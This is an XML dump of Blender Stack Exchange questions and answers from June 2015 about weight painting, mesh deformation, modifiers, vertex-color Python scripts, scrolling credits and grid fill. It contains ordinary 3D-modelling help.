  <row Id="32570" PostTypeId="1" AcceptedAnswerId="32572" CreationDate="2015-06-16T22:20:31.237" Score="4" ViewCount="2808" Body="&lt;p&gt;When I weight paint my object deforms.How to fix that?&lt;img src=&quot;https://i.stack.imgur.com/DOsEc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TRwU1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15028" LastActivityDate="2015-06-16T22:33:20.420" Title="Weight painting deforms an object" Tags="&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32571" PostTypeId="1" CreationDate="2015-06-16T22:20:50.570" Score="9" ViewCount="998" Body="&lt;p&gt;I'm trying to modify a mesh so that one side gets modified along a curve, and one other side gets modified along another curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with vertex groups but it only moves the vertexes in the group, without deforming/moving the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lattice would be an altenative, I guess, but using curves would make my task easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graphic example as usual:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kSHG0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the mesh to go all wibbly-wobbly with the bottom face following the bottom curve and the top face following the top curve? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the desired effect&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6u1AF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it to work in this real simple example by creating a lattice with u:20,v:1,w:2. Grouped top and bottom vertexes in two different groups. Added a a curve modifier to top group along the top curve and another one to the bottom group along the bottom curve. It works in this easy case, but it's not really versatile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I wanted to do something like this? Where the inner edge loop of the torus follows the inner bezierCircle and the outer edge loop follows the outer bezierCircle, with all other edge loops arranging harmonically&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SFWaw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14001" LastEditorUserId="14001" LastEditDate="2015-06-17T21:28:36.397" LastActivityDate="2015-08-11T19:11:46.877" Title="Deform mesh along two curves" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32572" PostTypeId="2" ParentId="32570" CreationDate="2015-06-16T22:33:20.420" Score="5" Body="&lt;p&gt;The reason this happens is because you have animation information on the armature that you are painting to, the mesh updates to that information once it is painted to a certain bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be desirable if you have a certain pose that you do not know how it will deform the mesh, and you can weight paint until the mesh looks fine in the tricky position. However, this isn't the case, and we'll need to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch into pose mode. (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;) now, hit &lt;kbd&gt;A&lt;/kbd&gt; once or twice (depending) to select &lt;em&gt;all of the bones&lt;/em&gt;. &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; will clear all rotation data, and likewise, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; will clear translation data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may now weight paint without any mesh deformation.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-06-16T22:33:20.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32573" PostTypeId="2" ParentId="32568" CreationDate="2015-06-16T22:36:39.287" Score="1" Body="&lt;p&gt;To place cube onto the surface of torus in this case, you should:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;code&gt;Snap during transform&lt;/code&gt; tool with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt;. Turn on Face snapping mode, along with &lt;code&gt;Align rotation with the snapping target&lt;/code&gt;. Switch snapping part onto the target to &lt;code&gt;Median&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/10LdM.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Grab your object (cube) to the desired place. Switch &lt;code&gt;Transformation orietnation&lt;/code&gt; to &lt;code&gt;Normal&lt;/code&gt; (with &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;space&lt;/kbd&gt;). Turn off snapping and grab your cube along normals so it moves out of the base mesh surface (in my case it was &lt;code&gt;Z&lt;/code&gt; axis):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hcKOt.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-16T22:36:39.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32574" PostTypeId="2" ParentId="32513" CreationDate="2015-06-16T22:38:57.707" Score="1" Body="&lt;p&gt;You can also use the &quot;spin&quot; tool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After selecting the vertices you want to extend, place the 3D cursor at the point that you want them to spin around. Angle your view to define the plane that the verts will be spun on and hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;. Tons of other handy options can be found in the tool bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A1ojl.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4V5xo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-06-16T22:38:57.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32576" PostTypeId="1" AcceptedAnswerId="32577" CreationDate="2015-06-16T23:23:32.977" Score="2" ViewCount="422" Body="&lt;p&gt;While looking at a tutorial on the Anisotropic shader I got stuck. The controls it tells me to use are nowhere to be found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the first things is tells me to do is to add an hdr file for some lighting. In the video when he has the World tab selected there is an option called Surface and within that there is a Color option but it's not there, and also isn't there for materials!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did these things move to a hidden location between 2.65 (when the tutorial was written) and 2.74? Might I be in some mode that causes that option to be missing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the tutorial I got stuck on: &lt;a href=&quot;http://www.blenderguru.com/tutorials/an-introduction-to-anisotropic-shading/&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderguru.com/tutorials/an-introduction-to-anisotropic-shading/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers to good resources for beginners would be great as would any ideas on what stupid mistake I'm making. I didn't bother making the sauce pan in the tutorial instead just going with the cube you get by default but I don't think that would cause this issue.&lt;/p&gt;&#xA;" OwnerUserId="15044" LastEditorUserId="2217" LastEditDate="2015-11-22T22:34:21.850" LastActivityDate="2015-11-22T22:34:21.850" Title="Material controls are missing" Tags="&lt;cycles-render-engine&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-06-17T06:22:32.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="32577" PostTypeId="2" ParentId="32576" CreationDate="2015-06-16T23:37:25.290" Score="3" Body="&lt;p&gt;I think you are working in blender render engine, you must change this to the cycles render engine. You can find this option in the header.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MB72N.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-06-16T23:37:25.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32578" PostTypeId="1" AcceptedAnswerId="32605" CreationDate="2015-06-16T23:45:15.067" Score="8" ViewCount="2151" Body="&lt;p&gt;I'm making a rolling ball animation where the ball will roll around a set of pipes, planes and other objects. I created a spring using the screw modifier and then made a second slightly smaller spring inside it to create a track like effect for my ball to roll on.&lt;br&gt;&#xA;When I add the passive object to them, they still will not hold up my ball. The ball falls straight through them.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wQQNK.png&quot; alt=&quot;blender showing the rigid body simulation objects and settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15055" LastEditorUserId="19307" LastEditDate="2020-01-09T11:02:56.007" LastActivityDate="2020-01-09T11:02:56.007" Title="Passive rigid body physics not working with screw modifier" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;screw-modifier&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32580" PostTypeId="2" ParentId="16289" CreationDate="2015-06-17T02:09:09.700" Score="1" Body="&lt;p&gt;I usually attach a Viewer Node into the node setup. Then in the UV/Image Editor, open the Viewer Node and then save the file using F3.&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2015-06-17T02:09:09.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32581" PostTypeId="2" ParentId="30443" CreationDate="2015-06-17T03:21:19.507" Score="1" Body="&lt;p&gt;By your question I suppose that you are using the &quot;With Automatic Weights&quot; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method works better with manifold meshes. The size of the bones also influences the result: bigger bones will attract more vertices. Don't forget that one can add remaining parts by hand later by using vertex groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested user14351's method and it works for your model (except for the teeth) . You need to add a subsurf modifier before parenting the armature to the mesh.   &lt;/p&gt;&#xA;" OwnerUserId="15007" LastEditorUserId="15007" LastEditDate="2016-09-08T15:45:47.700" LastActivityDate="2016-09-08T15:45:47.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32583" PostTypeId="2" ParentId="32558" CreationDate="2015-06-17T04:31:02.990" Score="4" Body="&lt;p&gt;In essence when you join objects all Blender does is merge their meshes. If you have 4 objects selected, the last object you clicked will be the dominant Object (In Blender we call it 'Active') . This can have interesting (but probably undesired) effects if the dominant Object has a different modifier stack than the objects being added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you join two objects that have different Modifier stacks, the dominant object's modifier stack will be used, and the other modifier  stacks are discarded. This is why you will lose the mirror modifier if the dominant object doesn't have a mirror. To remedy this you would need to apply the modifier on the 'joinees' first, or cut the dominant mesh in two and add a mirror modifier  there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To emphasize you could test this on a small scene, imagine I have 4 objects with all different modifier stacks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object_1 with modifiers (mirror, subsurf(level=2))&#xA;object_2 with modifiers (mirror, subsurf(level=4))&#xA;object_3 with modifiers (array modifier, subsurf(level=1))&#xA;object_4 with no modifiers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I select in sequence, &lt;code&gt;object(1,2,3,4)&lt;/code&gt; , then all associated meshes are added to object 4's mesh, and because object 4 has no modifiers all modifiers are dropped.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-17T17:57:06.910" LastActivityDate="2015-06-17T17:57:06.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32584" PostTypeId="1" AcceptedAnswerId="32590" CreationDate="2015-06-17T07:58:01.097" Score="3" ViewCount="2015" Body="&lt;p&gt;How do i set the vertex color to vertex normal for all vertices of an selected object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach here somehow prints only a few vertices and spares out the rest :(&#xA;How can i fix that and include ALL other planes, too? (see images below)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;current_obj = bpy.context.active_object &#xA;mesh = current_obj.data&#xA;&#xA;if mesh.vertex_colors:&#xA;    vcol_layer = mesh.vertex_colors.active&#xA;else:&#xA;    vcol_layer = mesh.vertex_colors.new()&#xA;&#xA;print(&quot;*&quot;*40)&#xA;&#xA;for poly in mesh.polygons:&#xA;        for loop_index in poly.loop_indices:&#xA;            loop_vert_index = mesh.loops[loop_index].vertex_index&#xA;&#xA;            #color = [1 , 0, 0]&#xA;&#xA;            #vcol_layer.data[loop_index].color = color&#xA;&#xA;            #vcol_layer.data[loop_index].color = mesh.vertices[loop_vert_index].normal&#xA;            color = mesh.vertices[loop_vert_index].normal&#xA;            vcol_layer.data[loop_vert_index].color = color&#xA;&#xA;            print(&quot;painting vert&quot;,loop_index, &quot;to color &quot;, color[0], color[1], color[2])&#xA;&#xA;&#xA;mesh.vertex_colors.active = vcol_layer&#xA;&#xA;&#xA;mesh.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outcome for a sphere (paints only 1/4 of vertices??):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wKM7X.png&quot; alt=&quot;Sphere&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outcome for a foliage-mesh (all planes are joined into one mesh)&#xA;Still paints not all vertices????&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gxRLd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me out, how to include all vertices :)&lt;/p&gt;&#xA;" OwnerUserId="15062" LastActivityDate="2018-10-01T06:13:00.930" Title="Set Vertex normals to vertex color in Python" Tags="&lt;python&gt;&lt;vertex-colors&gt;&lt;vertex-paint&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32585" PostTypeId="1" AcceptedAnswerId="32588" CreationDate="2015-06-17T08:04:52.783" Score="22" ViewCount="4137" Body="&lt;p&gt;I used blender as all in one application. I model, animate and compose in it. Now I need to add a simple scrolling credits at the end on an animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I want to know if there is a easy way to make scrolling credits only with blender.&lt;/strong&gt; The only way I can think is create a scene with the a text object and animate it vertically so it appear to be scrolling. But the text can be very long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also open to any addon for Blender that can archive this.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2021-05-27T14:11:33.100" Title="Scrolling credits" Tags="&lt;animation&gt;&lt;compositor&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32586" PostTypeId="2" ParentId="2993" CreationDate="2015-06-17T08:06:40.357" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go to the timeline and click the keyframe you want to delete.&lt;/li&gt;&#xA;&lt;li&gt;Press Space on the keyboard and type 'Delete Keyframe'.&lt;/li&gt;&#xA;&lt;li&gt;Click it twice.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15063" LastActivityDate="2015-06-17T08:06:40.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32587" PostTypeId="1" AcceptedAnswerId="32594" CreationDate="2015-06-17T08:50:25.407" Score="3" ViewCount="457" Body="&lt;p&gt;I am creating a simulation to later on use with OpenCV to detect black and white square markers on an outdoor terrain. For the markers I am using the following texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/avXvf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The markers are applied to a terrain using a shrinkwrap modifier in my simulation. In order to verify my openCV algorithms I would like to know the exact position of the inner corner of the markers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to somehow mark the inner corner in my UV texture and be able to retrieve its position in the 3D object (after using the shrinkwrap modifier)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, how could I at least find the center of the marker object after the shrinkwrap is used (as I need the actual position of the marker on the rendered image)? This would assume that the inner corner stays in the center of the marker, which is not necessarily the case with the modifier. However, it is at least a starting point.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nils&lt;/p&gt;&#xA;" OwnerUserId="14366" LastActivityDate="2015-06-17T13:51:43.083" Title="Find location of a specific point on a UV texture on the 3D object" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32588" PostTypeId="2" ParentId="32585" CreationDate="2015-06-17T10:12:48.940" Score="23" Body="&lt;p&gt;First of all, avoid using Blender's default font because it's the lazy option.&lt;/p&gt;&#xA;&lt;h3&gt;Option 1&lt;/h3&gt;&#xA;&lt;p&gt;The quick and dirty solution is to use TextEditor's own &lt;em&gt;Text To 3D Object&lt;/em&gt; feature.&lt;br /&gt;&#xA;&lt;em&gt;TextEditor -&amp;gt; Edit -&amp;gt; Text to 3D Object&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;That will give you two options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One Object&lt;/li&gt;&#xA;&lt;li&gt;One Object Per line.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;My issue with this is it rather limits the amount of design aesthetic you can give to the Text.&lt;/p&gt;&#xA;&lt;h3&gt;Option 2&lt;/h3&gt;&#xA;&lt;p&gt;Naturally there's many many other options that would work, and this happens to show how to use &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sverchok&lt;/a&gt; to generate credits. Warning, this may be overkill, but may interest to some. Especially scripters should read the code in &lt;code&gt;fast_credits.py&lt;/code&gt; to see how Scripted Node works and how relatively easy it is to customize this script to do more advanced stuff.&lt;/p&gt;&#xA;&lt;p&gt;I'm using a font called Cabin which comes in several weights including &lt;em&gt;Bold&lt;/em&gt; and &lt;em&gt;Regular&lt;/em&gt; and I've loaded those in using the node's properties on the node view rightside panel (press N to view it, with the Typography node selected/active).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CVP5Z.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If you want multiple font weights for different text elements you simply add a Typography Node and load a font type into it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Let's take some formatted bit of text, the words to the left of the Pipe symbol &lt;code&gt;|&lt;/code&gt; will be &lt;em&gt;bold&lt;/em&gt;, and to the right &lt;em&gt;regular&lt;/em&gt;. And for the sake of this example i've set their align to be 'LEFT' and 'RIGHT' for either side of the pipe.&lt;/p&gt;&#xA;&lt;p&gt;Titles:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Lead 1 | Jane Dough&#xA;Lead 2 | John Dough&#xA;Lead 3 | Ms Smith&#xA;Lead 3 | Mr White&#xA;&#xA;Support 1 | Mr Pinker&#xA;Support 2 | Mr Red&#xA;&#xA;Director | Mr Golder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The sverchok Typography node is a beast with almost all the features that the regular TextObject exposes via the Properties panel. The node is merely a notification of all that functionality (or what makes sense to me). You can see more options by pressing the &amp;quot;Show options&amp;quot; button on the node, this is incidentally where you can set the align orientation of all text that that node produces.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CkPwm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/280/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=280&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;some tips for this node tree&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you make changes to the Titles text file its content is reread automatically upon any update in the node tree&#xA;&lt;ul&gt;&#xA;&lt;li&gt;using sliders&lt;/li&gt;&#xA;&lt;li&gt;after pressing the Reload button on the Scripted Node.&#xA;This means yes there is some redundant computation if the text stays the same, but if your Titles text is dynamically generated as a function of the frame number, then you get that handled for free.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E3WlM.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then add an Orthographic Camera and animate its position, render the output, and use the Sequence Editor to add the Credits to your already rendered animation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Some things to consider:&lt;/strong&gt;&lt;br /&gt;&#xA;Unless you are using specific features from Cycles you can use Blender Internal if it renders faster on your machine. A Cycles render of text is fast if you use an emission shader in your text objects and switch on AO to get fast lighting, maybe even render with transparent background.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="86978" LastEditDate="2021-05-27T14:11:33.100" LastActivityDate="2021-05-27T14:11:33.100" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32590" PostTypeId="2" ParentId="32584" CreationDate="2015-06-17T12:08:18.463" Score="2" Body="&lt;p&gt;You must set vcol with loop index, not vertex index, because those are loop data (i.e. one color per face corner):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;current_obj = bpy.context.active_object &#xA;mesh = current_obj.data&#xA;&#xA;if mesh.vertex_colors:&#xA;    vcol_layer = mesh.vertex_colors.active&#xA;else:&#xA;    vcol_layer = mesh.vertex_colors.new()&#xA;&#xA;print(&quot;*&quot;*40)&#xA;&#xA;for poly in mesh.polygons:&#xA;        for loop_index in poly.loop_indices:&#xA;            loop_vert_index = mesh.loops[loop_index].vertex_index&#xA;&#xA;            #color = [1 , 0, 0]&#xA;&#xA;            #vcol_layer.data[loop_index].color = color&#xA;&#xA;            #vcol_layer.data[loop_index].color = mesh.vertices[loop_vert_index].normal&#xA;            color = mesh.vertices[loop_vert_index].normal&#xA;            vcol_layer.data[loop_vert_index].color = color&#xA;&#xA;            print(&quot;painting vert&quot;,loop_index, &quot;to color &quot;, color[0], color[1], color[2])&#xA;&#xA;&#xA;mesh.vertex_colors.active = vcol_layer&#xA;&#xA;&#xA;mesh.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, since you are merely using vertex normal, it’s much simpler (and efficient) to loop directly on loops - and vcol are clamped to positive numbers, so you'll likely want to encode negative values with something like &lt;code&gt;col = nor * 0.5 + 0.5&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;current_obj = bpy.context.active_object &#xA;mesh = current_obj.data&#xA;&#xA;if mesh.vertex_colors:&#xA;    vcol_layer = mesh.vertex_colors.active&#xA;else:&#xA;    vcol_layer = mesh.vertex_colors.new()&#xA;&#xA;print(&quot;*&quot;*40)&#xA;&#xA;for loop_index, loop in enumerate(mesh.loops):&#xA;        loop_vert_index = loop.vertex_index&#xA;&#xA;        #color = [1 , 0, 0]&#xA;&#xA;        #vcol_layer.data[loop_index].color = color&#xA;&#xA;        #vcol_layer.data[loop_index].color = mesh.vertices[loop_vert_index].normal&#xA;        color = (mesh.vertices[loop_vert_index].normal * 0.5) + Vector((0.5,) * 3)&#xA;        vcol_layer.data[loop_index].color = color&#xA;&#xA;        print(&quot;painting vert&quot;,loop_index, &quot;to color &quot;, color[0], color[1], color[2])&#xA;&#xA;&#xA;mesh.vertex_colors.active = vcol_layer&#xA;&#xA;&#xA;mesh.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-06-17T12:08:18.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32591" PostTypeId="2" ParentId="32391" CreationDate="2015-06-17T12:37:18.450" Score="3" Body="&lt;p&gt;It did not work in the link you provided. The bug was that the DNG actually crashed blender. The bug causing the crash was resolved, but DNG was still not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a discussion here: &lt;a href=&quot;http://www.magiclantern.fm/forum/index.php?topic=6457.0&quot; rel=&quot;nofollow&quot;&gt;http://www.magiclantern.fm/forum/index.php?topic=6457.0&lt;/a&gt;  about converting DNG to EXR which may be of interest to you.&lt;/p&gt;&#xA;" OwnerUserId="15064" LastActivityDate="2015-06-17T12:37:18.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32592" PostTypeId="1" AcceptedAnswerId="32593" CreationDate="2015-06-17T13:44:22.147" Score="7" ViewCount="716" Body="&lt;p&gt;I have a mesh that forms a plane with loop cuts running in both directions. Part of this area is cut out and I need to fill it back up, maintaining the loop cuts in both directions. Is there an automated way of doing this? If not, what's the easiest method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IinCL.png&quot; alt=&quot;Screenshot of mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2015-06-20T14:13:17.337" Title="Filling a hole in a face with loop cuts forming a 2-way intersection?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ClosedDate="2015-06-20T14:14:15.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="32593" PostTypeId="2" ParentId="32592" CreationDate="2015-06-17T13:47:44.010" Score="9" Body="&lt;p&gt;Because the number of vertices are matching on opposite sides you can do &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt;&gt; &lt;em&gt;Grid Fill&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/01fW1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also found in &lt;em&gt;Mesh&gt; Faces&gt; Grid Fill&lt;/em&gt; from the header menu in the 3D view.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-06-17T14:00:43.427" LastActivityDate="2015-06-17T14:00:43.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32594" PostTypeId="2" ParentId="32587" CreationDate="2015-06-17T13:51:43.083" Score="2" Body="&lt;p&gt;I figured out a way, although I am not sure if it's the simplest solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to locate the inner corner of the marker I need a vertex at that point. Therefore I seperated the marker into two faces and created a UV map like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b1Yyr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, using a script (see related lines below) I select the marker and apply the shrinkwrap modifier (it is important to apply it so that the positions of the mesh/vertices are actually affected).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since these markers only consist of now five vertices, it is fairly simple to select the one in the center of the marker and read out its local coordinates. Finally, with the object's world matrix I can calculate the inner corner's global position. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# make the active object the current marker&#xA;bpy.context.scene.objects.active = marker&#xA;&#xA;# apply the shrinkwrap modifier to access the exact marker position&#xA;bpy.ops.object.modifier_apply (modifier='Shrinkwrap')&#xA;&#xA;# get the local position of the inner corner of the marker&#xA;# (assuming the additional vertex in the center is at index 4)&#xA;local_inner_corner_pos = marker.data.vertices[4].co &#xA;&#xA;# calculate marker position with respect to the global coordinate system  &#xA;global_inner_corner_pos = marker.matrix_world * local_inner_corner_pos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14366" LastActivityDate="2015-06-17T13:51:43.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
